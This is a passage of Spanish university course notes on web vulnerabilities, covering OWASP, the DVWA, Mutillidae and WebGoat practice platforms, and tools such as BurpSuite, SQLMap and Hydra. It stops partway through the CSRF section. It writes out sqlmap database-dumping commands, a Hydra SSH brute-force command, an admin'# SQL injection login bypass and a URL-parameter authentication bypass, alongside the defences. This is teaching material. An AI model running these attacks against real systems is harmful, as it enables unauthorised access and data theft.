Tema 3

Vulnerabilidades web
[3.1] ¿Cómo estudiar este tema?
[3.2] OWASP
[3.3] Plataformas de aprendizaje
[3.4] Herramientas para hacking web
[3.5] Tipos de vulnerabilidades
3
TEMA
Vulnerabilidades web
OWASP Plataformas de Herramientas Tipos de

aprendizaje vulnerabilidades
Esquema
TEMA 3 – Esquema
Introducción DVWA BurpSuite Authentication bypass
• ¿Qué es? • Introducción • Herramientas de
Fuerza bruta
• ¿Qué busca? • Instalación la suite
CSRF
Mutillidae Ejecución maliciosa de

OWASP - ZAP ficheros
Top 10 • Introducción
• Herramientas XSS
• Instalación
de la suite
2
Referencia directa insegura a
objetos
WebGoat
SQLMap
• Introducción Configuraciones inseguras
• Instalación
Hydra
Inyección
Tamper Data
Redirecciones y reenvíos
Subida de archivos sin restricción
Gestión de sesión
Almacenamiento criptográfico inseguro
Protección insuficiente en la capa de

transporte
© Universidad Internacional de La Rioja, S. A. (UNIR)

Análisis de Vulnerabilidades
Ideas clave
3.1. ¿Cómo estudiar este tema?
Para estudiar este tema lee las Ideas clave que se exponen a continuación.
En la actualidad, casi todo está relacionado con Internet y las aplicaciones y servicios
web que proporciona, ya sea para ver el correo o para hacer compras online. Pero hay
datos sensibles y debe haber una seguridad en todos estos servicios y aplicaciones.
En este tercer tema se hablará de las vulnerabilidades web más importantes, de las
diferentes herramientas que tenemos para encontrarlas y explotarlas y de diferentes
plataformas de aprendizaje para el alumno.
En primer lugar hablaremos de OWASP, un proyecto de código abierto creado para

luchar contra las vulnerabilidades web. Este proyecto ha creado diferentes
herramientas y guías tanto para la defensa como para el ataque. Además, cada 3 años
publica un documento con el Top 10 de las vulnerabilidades más importantes para
prevenir a los administradores y ayudar a evitarlas.
Después veremos tres plataformas de aprendizaje: DVWA, Mutillidae y WebGoat.

Mediante estas plataformas el alumno podrá practicar lecciones de ataque web a
páginas y aplicaciones vulnerables (sin que tenga que atacar sitios reales).
Luego se verán diferentes herramientas para poder analizar y explotar vulnerabilidades

web. Todas las que se verán forman parte del Top 10 de herramientas de Kali Linux por
su gran versatilidad y potencial. Son:
BurpSuite, una suite de diferentes herramientas para analizar peticiones web y
reenviarlas para explotar vulnerabilidades.
OWASP-ZAP, otra suite de herramientas similar a BurpSuite diseñada por el
proyecto OWASP.
SQLMap, una herramienta para realizar inyecciones SQL de cualquier tipo
(normales, blind…)
Hydra, una herramienta para realizar ataques por fuerza bruta a servicios en
Internet.
TEMA 3 – Ideas clave © Universidad Internacional de La Rioja, S. A. (UNIR)

3
Tamper Data, un plugin muy útil que realiza la función de captura y modificación de
peticiones HTTP.
Finalmente, se hablará de los diferentes tipos de vulnerabilidades web. Por cada

vulnerabilidad se explicará en qué consiste, un ejemplo teórico o práctico de cómo se
podría explotar y qué formas hay para evitar y protegernos de dicha vulnerabilidad.
Estas vulnerabilidades son: Authentication bypass, fuerza bruta, Cross Site Request
Forgery (CSRF), ejecución maliciosa de ficheros local (LFI) y remota (RFI), Cross Site
Scripting (XSS), configuraciones inseguras, referencia directa insegura a objetos,
inyección (de comandos y SQL), redirecciones y reenvíos, subida de archivos sin
restricción, gestión de sesiones, almacenamiento criptográfico inseguro y protección
insuficiente en la capa de transporte.
3.2. OWASP
OWASP es un proyecto de código abierto dedicado a determinar y combatir las causas

que hacen que el software sea inseguro. La Fundación OWASP es un organismo sin
ánimo de lucro que apoya y gestiona los proyectos e infraestructura de OWASP.
Los documentos con más éxito de OWASP son OWASP Testing Guide y OWASP Top
10. El primero, que ya va por su versión 4, consiste en una guía práctica y teórica para
realizar pentesting a aplicaciones web; el segundo consiste en una recopilación de las
vulnerabilidades más frecuentes que nos podemos encontrar en las aplicaciones web,
así como su funcionamiento, impacto y formas de evitarlas.
Las herramientas OWASP más usadas incluyen el entorno de formación WebGoat

que veremos más adelante, las herramientas WebScarab (para pruebas de penetración)
y OWASP-ZAP (para realizar escaneos de vulnerabilidades en aplicaciones web) y las
utilidades de seguridad para entornos .NET OWASP DotNet.
Nos vamos a centrar en el top 10 OWASP, su objetivo es educar a desarrolladores,

diseñadores, arquitectos, gerentes y organizadores sobre las consecuencias de las
vulnerabilidades de seguridad más importantes en aplicaciones web. Dicho documento
provee de técnicas básicas sobre cómo protegerse en estas áreas de alto riesgo y
también provee orientación sobre los pasos a seguir.

4
Nos vamos a fijar en los top 10 de los años 2010 y 2013 (este último es el más actual) y
veremos cómo han cambiado en estos años. En los próximos apartados veremos más a
fondo los diferentes tipos de vulnerabilidades.
Figura 1. Comparación Top 10 OWASP 2010 y 2013.
La guía además clasifica estas vulnerabilidades según la facilidad de explotación que

tengan, la prevalencia (la cantidad de sitios donde podemos encontrar la
vulnerabilidad), la detección (la facilidad de que un atacante encuentre este tipo de
vulnerabilidad) y el impacto que puede provocar en la aplicación web.
Figura 2. Clasificación del Top 10 OWASP 2013.

5
Puedes encontrar documentación de OWASP en la siguiente dirección web:

https://www.owasp.org/index.php/Main_Page
Accede al top 10 de 2013:

https://www.owasp.org/images/5/5f/OWASP_Top_10_-_2013_Final_-_Español.pdf
Accede a la Guía de Testing OWASP v4:

https://www.owasp.org/images/5/52/OWASP_Testing_Guide_v4.pdf
3.3. Plataformas de aprendizaje
Para poder realizar algunos ejemplos y poder practicar las vulnerabilidades que iremos
viendo será necesario un entorno que simule una aplicación web real. No es
conveniente hacerlo con sitios web reales ya que podemos causar verdaderos problemas
a los sitios y hacerlo sin consentimiento de los administradores del sitio es ilegal.
Para ello tenemos a nuestra disposición tres plataformas diseñadas especialmente

para el aprendizaje de las vulnerabilidades web. Estos entornos ya contienen
vulnerabilidades a propósito para que podamos explotarlas de la misma forma que lo
haría un atacante real. Poseen diferentes niveles de dificultad, aunque cada plataforma
los gestiona de una forma diferente.
A continuación explicaremos cada una de las tres plataformas, tanto su instalación

como características principales.
1. DVWA
DVWA (Damn Vulnerable Web Application) es un reconocido entorno de

entrenamiento en explotación de seguridad web, que permite estudiar e investigar
sobre las diferentes temáticas involucradas en dicho campo.
Será la plataforma que utilizaremos para nuestros ejemplos y demostraciones, ya que es

la que presenta la interfaz más cómoda y no necesita descargar nada extra para su
instalación.

6
Tiene tres niveles de dificultad:

Bajo (Low). Simula un entorno muy vulnerable, nos permitirá hacer casi cualquier
cosa.
Medio (Medium). Simula un entorno más controlado, serán necesarias diversas
técnicas de evasión de filtros.
Alto (High). Simula un entorno real seguro, no podremos vulnerarlo.
Las temáticas que cubre la plataforma son las siguientes:
Brute Force Command execution
CSRF Insecure CAPTCHA
File Inclusion SQL Injection
Blind SQL Injection Upload
XSS Reflected XSS Stored
Categorías principales de DVWA.
Su interfaz es la siguiente:
Figura 3. Interfaz de DVWA.
Vamos a explicar cómo realizar su instalación en nuestra máquina Kali Linux, pero se
podría hacer en cualquier sistema operativo. Para realizar la instalación será necesario

7
tener un servidor, una base de datos y PHP ya instalado (ya que DVWA está basado en
este lenguaje).
En nuestro caso, en la máquina Kali ya los tenemos, por lo que descargaremos la

plataforma de la página oficial http://www.dvwa.co.uk/.
Descomprimiremos el zip, lo moveremos a la carpeta del servidor y le daremos

permisos de ejecución:
unzip DVWA-1.0.8.zip.
mv DVWA-1.0.8 /var/www/dvwa.
chmod -R 755 /var/www/dvwa.
Ahora iniciaremos el gestor de bases de datos y crearemos la base de datos de la

aplicación.
service mysql start.
mysql -u root -p (Cuando nos pida contraseña simplemente pulsaremos enter).
create database dvwa;
show databases; (Para comprobar que la hemos creado correctamente).
Exit.
Finalmente iniciaremos el servidor y ya podremos conectarnos a la plataforma:

service apache2 start.
Nos conectaremos a ella poniendo en el navegador 127.0.0.1/dvwa/ o localhost/dvwa/.

El usuario de login será «admin» y la contraseña «password» (ambas sin las comillas).
Hay otra forma de instalar la plataforma en cualquier sistema operativo (Linux,

Windows, Mac…) y es usando XAMPP, una aplicación que incluye un servidor Apache,
una base de datos MySQL y varias librerías para lenguajes como PHP y Perl. La
aplicación administrará por nosotros el servidor web.
Puedes obtener más información en la siguiente dirección web:

https://www.apachefriends.org/index.html

8
2. Mutillidae
Mutillidae es otra plataforma para poder entrenar los conocimientos de

seguridad orientados a una aplicación web. Esta plataforma es complementaria
por si quieres practicar con más ejemplos que los que se trabajarán en la plataforma
DVWA.
Mutillidae contiene varios tipos de vulnerabilidades más que DVWA y posee dos niveles
de sugerencias o consejos (Tips) para ayudar al usuario a explotarlas. Incluye todas las
vulnerabilidades vistas en el OWASP Top 10 (tanto de 2010 como de 2013).
La plataforma tiene dos modos:

En el modo inseguro (por defecto), las páginas serán vulnerables, al menos a la
vulnerabilidad que indique la pestaña a la que pertenezcan, aunque pueden ser
vulnerables a muchas más. Tendrá dos niveles dentro del modo inseguro.
En el modo seguro, Mutillidae intenta proteger a las páginas con scripts del lado del
servidor, pero seguirán siendo vulnerables y se podrá explotar. Además, las
sugerencias se desactivan en este modo.
El código fuente de las páginas y los scripts estás comentado para permitir al usuario
ver cómo funcionan las defensas y vulnerabilidades.
Figura 4. Interfaz de Mutillidae.
De nuevo nos conectaremos a la plataforma mediante el navegador, en este caso

pondremos 127.0.0.1/mutillidae/ o localhost/mutillidae/. No hará falta usuario ni
contraseña.

9
En la siguiente dirección web encontrarás, en el apartado Downloads, todas las

versiones de la aplicación para descargar:
http://www.irongeek.com/i.php?page=mutillidae/mutillidae-deliberately-vulnerable-
php-owasp-top-10
El autor de la plataforma también ha creado una gran colección de vídeo tutoriales de

pentesting de aplicaciones web utilizando Mutillidae.
Puedes ver todos estos vídeos en la siguiente dirección web:

http://www.irongeek.com/i.php?page=videos%2Fweb-application-pen-testing-
tutorials-with-mutillidae
3. WebGoat
WebGoat es una plataforma con aplicaciones web deliberadamente inseguras

desarrollada y mantenida por OWASP para enseñar y practicar lecciones
de seguridad web.
La página se divide en diferentes lecciones, en la cuales el usuario deberá demostrar su

conocimiento del fallo de seguridad explotando una vulnerabilidad real en la aplicación
web. Por ejemplo, en una de las lecciones el usuario deberá utilizar la inyección SQL
para robar números de tarjetas de crédito (falsos). La plataforma además
proporcionará al usuario consejos y el código de cada vulnerabilidad.
WebGoat está escrito en Java y se puede instalar en cualquier máquina que tenga una
máquina virtual de Java, por lo que funciona sobre cualquier sistema operativo (Linux,
Windows, Mac OS X...).
Actualmente hay 30 lecciones de aprendizaje entre las cuales encontramos las

siguientes vulnerabilidades:
o Cross Site Scripting (XSS).

o Gestión de acceso.
o Seguridad de hilos.
o Manipulación de campos y parámetros.
o Sesiones débiles de cookies.

10
o Inyección SQL (String, Numeric, blind…).

o Peligros de los comentarios HTML.
La plataforma además incluye información acerca de las cookies y los parámetros que
se envían y gestionan.
Figura 5. Interfaz de WebGoat.
La instalación será sencilla en cualquier tipo de plataforma, el único requisito será

tener Java 1.6 o superior. Las últimas distribuciones de Kali Linux ya lo llevan
incorporado, pero para asegurarnos comprobaremos la versión en la consola de
comandos con java –version.
Si no tenemos 1.6 o superior lo podremos descargar de la página oficial de Oracle:

http://www.oracle.com/technetwork/java/javase/downloads/jdk7-downloads-
1880260.html
Puedes descargar WebGoat desde la siguiente dirección web:

https://webgoat.atlassian.net/builds/browse/WEB-
WGM/latestSuccessful/artifact/shared/WebGoat-Embedded-Tomcat/WebGoat-6.0.1-
war-exec.jar
Una vez descargado ejecutaremos el siguiente comando cada vez que queramos utilizar
la plataforma, pues no necesita instalación ni ejecutar ningún servidor o base de datos
extra, ya lo hace todo el archivo jar: java -jar WebGoat-6.0.1-war-exec.jar.

11
Cuando aparezca en la consola el siguiente mensaje ya podremos acceder a la

plataforma a través del navegador con la URL http://localhost:8080/WebGoat.
Figura 6. Plataforma WebGoat lista para funcionar.
Es importante recordar que no debemos cerrar la consola en la que hayamos ejecutado

el comando anterior, porque entonces dejará de funcionar la plataforma.
3.4. Herramientas
Antes de comenzar a ver los diferentes tipos de vulnerabilidades web vamos a ver más a
fondo algunas herramientas diseñadas especialmente para el análisis y explotación de
aplicaciones y servicios web. Estas herramientas facilitarán enormemente la búsqueda
de vulnerabilidades y la automatización de la explotación.
En el próximo apartado de tipos de vulnerabilidades web utilizaremos algunas de estas

herramientas y alguna otra más, como Crunch, pero se deja como tarea para el alumno
el investigar más sobre ellas. Todas las herramientas que vamos a ver están por defecto
en Kali Linux.
1. BurpSuite
BurpSuite es una suite de herramientas de las más utilizadas a la hora de realizar

un pentesting a una aplicación web por la gran variedad de herramientas que contiene.
Forma parte del Top 10 de aplicaciones de Kali.
Dispondremos de la versión gratuita en nuestra máquina Kali, que se diferencia de la

versión de pago solamente en que carece de un par de funcionalidades.
Figura 7. Herramientas de BurpSuite.
La primera herramienta es el Proxy, nos proporciona un servidor proxy que nos

permite capturar y manipular el tráfico que pase a través de él. Nos mostrará todos los

12
parámetros separando cabecera y datos y normalmente será capaz de marcar en color

rojo lo que crea que son parámetros modificables, facilitando la tarea al usuario.
Al modificar parámetros podremos realizar multitud de funciones como: aumentar el

tamaño máximo permitido a la hora de subir archivos, introducir más texto en un
campo del permitido, modificar la cookie de sesión…
Para usarlo será necesario establecer en el navegador que vamos a utilizar un proxy, en
este caso lo vamos a explicar para Iceweasel (Firefox) el navegador por defecto en Kali.
En preferencias iremos a Advanced > Network > Settings.
Figura 8. Preferencias de Iceweasel.
Después seleccionaremos una configuración proxy manualmente, por la dirección

127.0.0.1 y el puerto 8080 (en el caso de que queramos utilizarlo con WebGoat será
necesario cambiar el puerto al 8081, por ejemplo, ya que la plataforma corre en el
mismo puerto).
Figura 9. Ajustes de conexión de Iceweasel.
Además quitaremos que no se pueda usar un proxy en localhost (puesto por defecto).

13
Por defecto BurpSuite utiliza el puerto 8080, pero si lo queremos modificar podemos ir
a Proxy > Options y ahí lo cambiaremos. Podemos ver un ejemplo de captura a
WebGoat con este proxy:
Figura 10. Captura de WebGoat con el proxy de BurpSuite.
Nota: no olvidar desactivar el proxy en las opciones del navegador al cerrar BurpSuite,
ya que no funcionará, porque todas las peticiones las mandará al puerto proxy y no
habrá ninguna aplicación para reenviarlas.
La siguiente herramienta, Spider, es una herramienta que puede enumerar y

realizar un mapa del sitio web y de las diferentes páginas a las que enlaza,
parámetros y objetos que tiene… Para ello examina las cookies e inicia conexiones
a la aplicación web a las páginas que encuentre.
Para utilizarlo elegiremos una captura hecha con el proxy y con clic derecho o pulsando
Action, seleccionaremos «Send to Spider».
Figura 11. Spider en funcionamiento.

14
Figura 12. Resultado de Spider en WebGoat.
La siguiente herramienta, el Scanner, es específica para la versión de pago, por lo que

no nos interesa. Es capaz de realizar un escaneo de una aplicación web en busca
de vulnerabilidades.
Otra de las herramientas y una de las más potentes de la suite es Intruder, con la que
podremos realizar ataques sobre aplicaciones web automatizados. Nos
permitirá generar peticiones HTTP maliciosas y detectar y explotar vulnerabilidades
como inyección SQL, XSS, manipulación de parámetros o ataques por fuerza bruta.
Esta herramienta nos permitirá seleccionar diferentes partes de las peticiones y

convertirlas en parámetros, para después automatizar peticiones modificando estos
parámetros mediante listas de palabras. La versión gratuita tendrá ciertas limitaciones
a la hora de utilizar listas en archivos de texto.
Figura 13. Interfaz del Intruder.

15
En el próximo capítulo de tipos de vulnerabilidades web utilizaremos esta herramienta

y se verá más detalladamente su funcionamiento.
La siguiente herramienta, el Repeater, será muy simple. Nos permitirá coger una
petición realizada y reenviarla tantas veces queramos modificando manualmente los
parámetros.
Figura 14. Interfaz del Repeater.
Las cuatro herramientas restantes tienen funciones más específicas y no las

utilizaremos, pero se describirá brevemente su utilidad:
El Sequencer se utiliza para comprobar la aleatoriedad de los tokens de sesión
generados por la aplicación web.
El Decoder se utiliza para codificar una petición o URL a diferentes formatos como
Base64, URL o incluso convertirlos en hashes MD5 o SHA-1.
El Comparer se utiliza para comparar entre dos conjuntos de datos, puede ser
entre peticiones o entre respuestas, palabra por palabra o bit a bit…
Finalmente el Extender nos permitirá añadir funcionalidades y plugins extra a
BurpSuite.
2. OWASP-ZAP
OWASP Zed Attack Proxy u OWASP-ZAP es una suite de herramientas creada y

mantenida por el proyecto OWASP. Está escrita en Java y es multiplataforma
(incluyendo Linux, Windows y Mac OS X).

16
Figura 15. Interfaz de OWASP-ZAP.
Es una suite de herramientas para la búsqueda y explotación de vulnerabilidades web

muy similar a BurpSuite, pero tiene todas sus funcionalidades disponibles ya que es
software libre.
Las principales herramientas con las que cuenta son:

Un proxy de intercepción que, al igual que en BurpSuite, nos permite capturar y
modificar las peticiones HTTP realizadas y las respuestas por parte del servidor.
Para su funcionamiento será necesario establecer el proxy manualmente como ya
hemos visto.
El puerto por defecto será de nuevo el 8080. Aunque no tengamos activa la captura
de peticiones y respuestas, todos los sitios web que visitemos mientras utilicemos el
proxy quedarán guardadas en el mapa de sitios de OWASP-ZAP.
Enviar petición o respuesta
Capturar peticiones
y/o respuestas
Proxy de OWASP-ZAP.

17
Un escáner de vulnerabilidades. Con esta herramienta podemos realizar un

escaneo de uno o varios sitios web, ya sea los que tengamos guardados por la
herramienta en la parte de sitios o porque se haga un escaneo total de un sitio.
Podemos ver un ejemplo de esta herramienta en la plataforma DVWA, en la pestaña
de XSS Reflected. Para la demostración pondremos la seguridad de la página en low.
En primer lugar establecemos manualmente el proxy por el puerto 8080 y visitamos

la página. Aparecerá un cuadro de texto en el que podremos escribir:
Figura 16. XSS Reflected en DVWA.
Podremos ver que en OWASP-ZAP nos ha aparecido el sitio en la pestaña de sitios a la

izquierda. Para realizar el escaneo daremos clic derecho y seleccionaremos Atacar >
Active Scan single URL.
Figura 17. Realizar un escaneo sobre un sitio web.
El escaneo aparecerá en la pestaña de Escaneo Activo y cuando encuentre algo

aparecerá en la pestaña de Alertas. En este caso ha encontrado una vulnerabilidad de
XSS y lo notifica colocando una banderita roja delante del sitio.

18
Figura 18. Resultado del escaneo.
En el reporte nos aparece el código malicioso que podemos introducir para comprobar
el resultado de escaneo:
Figura 19. Probamos introducir en el cuadro de texto el código generado.
Un spider o araña, que intenta indexar y capturar las URL de una página
para hacer un mapa completo del sitio web. Una forma que tiene de hacerlo
es ver el código HTML y buscar todas las direcciones del mismo dominio para
redirigir y repetir. Tiene dos tipos de spider, uno tradicional y otro para sitios web
AJAX. Para utilizarlo simplemente daremos clic derecho en un sitio guardado en la
pestaña de sitios y seleccionaremos Atacar > Spider «tipo», donde «tipo» podrá ser
el sitio entero o una URL específica.
Un fuzzer, capaz de realizar funciones de ataque por fuerza bruta,

inyecciones SQL, inyecciones de código XSS… Realiza peticiones dando
diferentes valores a un parámetro que seleccionemos y a diferencia de BurpSuite
solo permite seleccionar un parámetro. Para utilizarlo tendremos que seleccionar un
trozo de texto en una petición (que será nuestro parámetro), clic derecho, Fuzz y
seleccionaremos el tipo de fuzzer.

19
3. SQLMap
SQLMap es una herramienta que nos permite descubrir vulnerabilidades de

inyección de SQL y explotarlas en busca de información de las bases de
datos. Nos permitirá seleccionar una URL como objetivo o los resultados de un Google
Dork (una búsqueda en Google específica cuyos resultados son páginas vulnerables o
potencialmente vulnerables).
Para utilizar la herramienta utilizaremos la consola de comandos. Para comprobar si

una página es vulnerable pondremos:
sqlmap --url="http://www.paginaweb.com/injeccion?=id=1"
Para obtener las diferentes bases de datos que tenga:
sqlmap --url="http://www.paginaweb.com/injeccion?=id=1" --dbs
Para obtener las tablas de una base de datos:
sqlmap --url="http://www.paginaweb.com/injeccion?=id=1" --tables -D

nombre_base_datos
Para obtener los datos de una tabla:
sqlmap --url="http://www.paginaweb.com/injeccion?=id=1" --dump -D

nombre_base_datos -T nombre_tabla
En el apartado de tipos de vulnerabilidades web, cuando se vea inyección SQL se verá

un ejemplo práctico del funcionamiento de esta herramienta.
Puedes acceder a más información y ejemplos en la siguiente dirección:

https://github.com/sqlmapproject/sqlmap/wiki/Usage

20
4. Hydra
Hydra es una herramienta de ataques de fuerza bruta multiprotocolo, es decir,

nos permite intentar autenticarnos en diferentes servicios a través de múltiples
protocolos como HTTP, FTP, IMAP… A diferencia de otras herramientas de fuerza
bruta sin conexión, Hydra realizará este tipo de ataque a servicios y aplicaciones web.
Los ataques por fuerza bruta intentan adivinar las credenciales de autenticación para
ganar acceso al sistema. Es una manera simple y segura de conseguir un resultado, pero
tiene dos grandes desventajas:
El tiempo que puede tardar en probar todas las combinaciones posibles de usuario y
contraseña.
El ruido que causa, pues genera mucho tráfico (pudiendo provocar denegaciones de
servicio con estas herramientas de ataque por fuerza bruta).
Para utilizar la herramienta lo haremos por consola. Por ejemplo, si queremos realizar
un ataque por fuerza bruta para obtener las credenciales para conectarnos por SSH a
una máquina con la IP 192.168.1.30 utilizando una lista para usuarios y otra lista para
contraseñas:
hydra -L users.txt -P passwords.txt 192.168.1.30 ssh
Figura 20. Uso de Hydra para conectarnos a una máquina por ssh.
5. Tamper Data
Tamper Data no es una aplicación como las anteriores que hemos visto, sino que es un
plugin para el navegador (en concreto para Firefox y derivados), pero es una
herramienta muy útil, sencilla y rápida.
Cuando hablamos de BurpSuite vimos que traía una herramienta de Proxy, pues
Tamper Data realiza esa misma función, pero al ser un plugin del navegador nos
permite no tener que modificar las conexiones para establecer manualmente un proxy.

21
Cuando solo queramos trabajar modificando algunos parámetros o comprobando las

cabeceras, será más sencillo utilizar este plugin que otras herramientas. Nos permitirá
modificar todas las peticiones, abortarlas y algunas funciones extra como falsificar el
User-Agent del navegador o inyectar parámetros SQL o XSS en la petición.
Figura 21.Interfaz de Tamper Data.
3.5. Tipos de vulnerabilidades web
1. Authentication Bypass
Muchas páginas web requieren algún tipo de autenticación para acceder a zonas
restringidas o información privada, normalmente con un nombre de usuario y
contraseña. Cuando una página web permite la introducción de un usuario o
contraseña lo hace mediante peticiones GET o POST. Para realizar estas peticiones se
deben rellenar ciertos campos donde introducir las credenciales.
Figura 22. Campos para credenciales.
Cuando se genera la petición, el servidor comprueba en la base de datos que la tupla

existe, es decir, que el nombre está asociado a la contraseña (guardada en formato
hash). Dependiendo de si la tupla existe o no, podrá redirigirnos a una página
restringida o mandarnos de nuevo a que nos autentiquemos.

22
A causa de malas configuraciones podemos encontrar diferentes métodos para

saltarnos esta autentificación y acceder a las zonas privadas sin conocer usuario o
contraseña. Estas son:
URL’s mal restringidas. Un error muy básico que comete un gran número de
desarrolladores es crear un mecanismo de autentificación para un servicio web,
pidiendo usuario y contraseña en una página de login y, posteriormente, dar acceso
al resto de páginas del servidor sin realizar otra comprobación.
El problema con esto reside en que si obtenemos una URL de la zona «privada»
podríamos acceder a ella sin autenticarnos, ya que no comprobará si lo hemos hecho
previamente.
Un ejemplo puede darse en las URL’s de un banco. Tenemos una cuenta en un banco
y nos conectamos a su página web para consultar nuestro saldo y realizar
transacciones. Nos pide usuario y contraseña para acceder a nuestra cuenta y vemos
que la URL es: https://www.mibanco.es/user/getAccount. Pero si las URL no
estuvieran bien configuradas podríamos acceder a otras zonas de la página web que
deberían ser privadas cambiando /user/ por otra cosa, como /admin/, /manager/,
/administrator/…
Este tipo de fallos se puede evitar configurando correctamente estas URL y

realizando diversos tipos de comprobaciones:
o Acceso restringido solo a usuarios autorizados.
o Gestionar los permisos basándose en usuarios o grupos.
o Bloquear las peticiones a páginas no autorizadas como ficheros de configuración,
logs, código fuente…
o Verificar el acceso en cada petición.
o Proteger cada URL de la aplicación por un filtro externo (Java EE web.xml) o
mediante la comprobación interna en el código (método isAuthorizedForURL()
de ESAPI).
o Verificar que la configuración del servidor deniega peticiones de tipos de ficheros
no autorizados por defecto.
Cambiar parámetros en la URL. Otro error muy grave es comprobar el estado

de una sesión con un parámetro que se imprime en las URL. Por ejemplo, un
servidor da acceso a páginas restringidas comprobando que el usuario se ha

23
conectado mediante el parámetro «auth=1» (autenticado) o «auth=0» (no

autenticado) y lo muestra en la URL de esta manera:
http://www.paginaweb.com/areaadmin.asp?auth=0
Podríamos simplemente modificar el parámetro final a «auth=1» para conseguir

acceso total a esta página sin necesidad de conocer nombres de usuario y
contraseñas. Para evitar este fallo es aconsejable mostrar el mínimo de información
posible en las URL y realizar las verificaciones del punto anterior.
Ofuscar las URL. Algunos servidores web tienen listas de páginas que están
restringidas y que necesitan de autentificación para acceder a ellas. Pero podría
haber URL’s que no estén en la lista de páginas restringidas que apunten a dichas
páginas.
Por ejemplo puede ser la página restringida:

http://www.mipaginaweb.com/admin/configuration/. Si añadimos algún símbolo
como ‘/’, ‘?’, ‘%’ o ‘~’ podríamos hacer que la URL apunte a la misma página, pero
cambiando el nombre de la forma:
http://www.mipaginaweb.com/admin/configuration//
Si la configuración no es correcta y el servidor comprueba la lista de páginas

restringidas literalmente sin parsear las URL’s, no nos pedirá autenticación. Por ello
es conveniente utilizar métodos que, antes de devolver el contenido al usuario,
comprueben las URL’s y eviten los símbolos, codificando estos en formato
hexadecimal de la forma ‘%25’.
SQL injection. El último método para saltarse la autenticación consiste en

aprovecharnos de los errores al realizar la comprobación del usuario y la contraseña
en la base de datos. Podremos hacer una inyección en la petición SQL a la base de
datos para saltarnos el proceso de autenticación. Tenemos un ejemplo en la página
de la plataforma DVWA (ya explicada anteriormente):

24
El ejemplo lo encontramos en el nivel low de la pestaña de fuerza bruta, si nos

fijamos en su código fuente vemos:
Figura 23. Código fuente de la pestaña de fuerza bruta (low)
Podemos ver que no realiza ninguna comprobación de seguridad en la entrada de

texto del usuario y la contraseña, por ello podremos saltarnos la autentificación
conociendo un usuario (o buscándolo por fuerza bruta, que se explicará en el
próximo apartado). En este ejemplo usaremos el símbolo ‘#’ que se utiliza para crear
una tabla temporal en la base de datos.
Introduciremos en usuario: admin’#. El usuario admin es el que sabemos que estará

en la base de datos.
Figura 24. Texto introducido en el campo usuario.
Esto pasará a la consulta de la siguiente manera:
"SELECT * FROM `users` WHERE user=‘admin’#‘ AND password=’‘;"

25
La consulta solo analizará hasta el usuario, ya que para el resto creará una tabla
temporal que dará un error, aunque esto no nos afectará. Como el usuario existe y
solo hay una entrada en la base de datos, nos identificará como este usuario y
podremos saltarnos la autentificación sin necesidad de introducir contraseña.
Figura 25. Acceso a la zona de admin.
La forma más fácil para evitar estos fallos es utilizar funciones que comprueben los
parámetros antes de pasárselos a las consultas, como en los niveles medio y alto de
DVWA de fuerza bruta.
2. Fuerza bruta
¿Qué ocurre si el servidor comprueba correctamente las entradas de texto del usuario?
Podemos ver en los niveles medio y difícil como en el código fuente realiza
comprobaciones para evitar las comillas (‘ ’) o los slashes ( \ ).
La única forma que nos queda será comprobar todas las posibles combinaciones
de usuario – contraseña. Normalmente esta es una tarea muy tediosa, por lo que se
recurren a diccionarios (archivos de texto con gran cantidad de palabras que se suelen
utilizar como usuario o contraseña). A este tipo de ataque se le llama de fuerza bruta.
Para ver un ejemplo nos fijamos de nuevo en la página DVWA, en la pestaña de Brute
Force. En este caso usaremos la dificultad medium.
Vamos a utilizar la técnica de fuerza bruta para poder obtener el nombre de usuario y la
contraseña. Para ello utilizaremos la herramienta BurpSuite y su pestaña de Intruder.
Pasos:
En primer lugar pondremos el navegador en modo proxy por el puerto 8080 como
ya se ha explicado.

26
En la pestaña de Proxy nos fijaremos que en un botón ponga Intercept is on y

realizaremos una petición en la página de DVWA con un nombre de usuario y
contraseña cualquiera para poder capturar el mensaje HTTP enviado y modificarlo
posteriormente.
Pulsaremos el botón Action y Send to Intruder para mandar el mensaje a la pestaña

Intruder.
Figura 26. Enviar el mensaje capturado al Intruder.
En la pestaña Intruder seleccionaremos el tipo de ataque cluster bomb (para poder

modificar varias variables). Y seleccionaremos en el mensaje lo que queremos que
sean las variables a modificar; primero pulsaremos clear para quitar todas las que
vienen por defecto y luego pulsaremos add para seleccionarlas manualmente.
Figura 27. Pestaña Intruder.
En la subpestaña de Payloads podremos seleccionar las diferentes variables (en este

caso payload 1 será el usuario y el 2 la contraseña). Podremos crear una lista
nosotros insertando valores en la parte de Payload Options o cargar una lista de
palabras de un archivo txt.
En Kali podemos encontrar algunas listas de palabras en el directorio:

/usr/share/wfuzz/wordlist/general

27
Figuras 28 y 29. Asignar listas de palabras a los payloads.
En este caso se ha usado una pequeña lista con combinaciones que se conoce de
antemano que funcionarán, para ahorrar tiempo, pero en un entorno real será
necesario probar uno o varios diccionarios completos.
En la pestaña de Options estableceremos que nos indique si ha coincidido con un

patrón (en este caso para conexión incorrecta).
Figura 30. Campo para marcar mensajes correctos o incorrectos.
Pulsaremos Start Intruder para comenzar el ataque por fuerza bruta.
Figura 31. Comenzar el ataque.

28
Finalmente obtendremos los resultados de las combinaciones de usuario y

contraseña encontradas.
Figura 32. Resultados obtenidos, a la derecha están marcados los mensajes que coinciden con el patrón
anterior
Hay formas de dificultar o evitar este tipo de ataques. Algunas de ellas

son:
o Establecer retrasos a las peticiones realizadas cuando sean incorrectas (como

hace el código de DVWA en el nivel alto de fuerza bruta). Aunque un atacante lo
podría contrarrestar realizando muchas peticiones en paralelo.
o Poner límite de intentos para bloquear alguna IP en particular o para bloquear a
algún usuario que haya introducido mal su contraseña en varias ocasiones.
o Usar un segundo factor de autenticación, por si un atacante obtiene las
credenciales por fuerza bruta, que necesite la otra forma de autenticación para
poder acceder.
Nota: a veces para mejorar la efectividad de los ataques de fuerza bruta por diccionario,
es conveniente crear nuestro propio diccionario. Para ello nosotros usaremos la
herramienta Crunch ya incluida en Kali Linux.
Esta herramienta nos permite utilizar patrones para generar grandes listas de palabras
que podremos utilizar como diccionarios. Nos permite elegir la longitud que queremos
que tengan las palabras generadas (mínima y máxima). Para ver todas las opciones de
esta herramienta escribiremos en consola:
crunch --help

29
Si por ejemplo conocemos que las contraseñas de alguna organización se generan con 3
letras y 4 números podremos generar un diccionario con todas las combinaciones
posibles para poder usar luego herramientas como Hydra o BurpSuite para atacar por
fuerza bruta.
Figura 33. Herramienta Crunch.
3. Cross Site Request Forgery (CSRF)
Un ataque Cross Site Request Forgery o CSRF consiste en forzar a la víctima a

realizar una petición HTTP a una aplicación web vulnerable a la que ya se
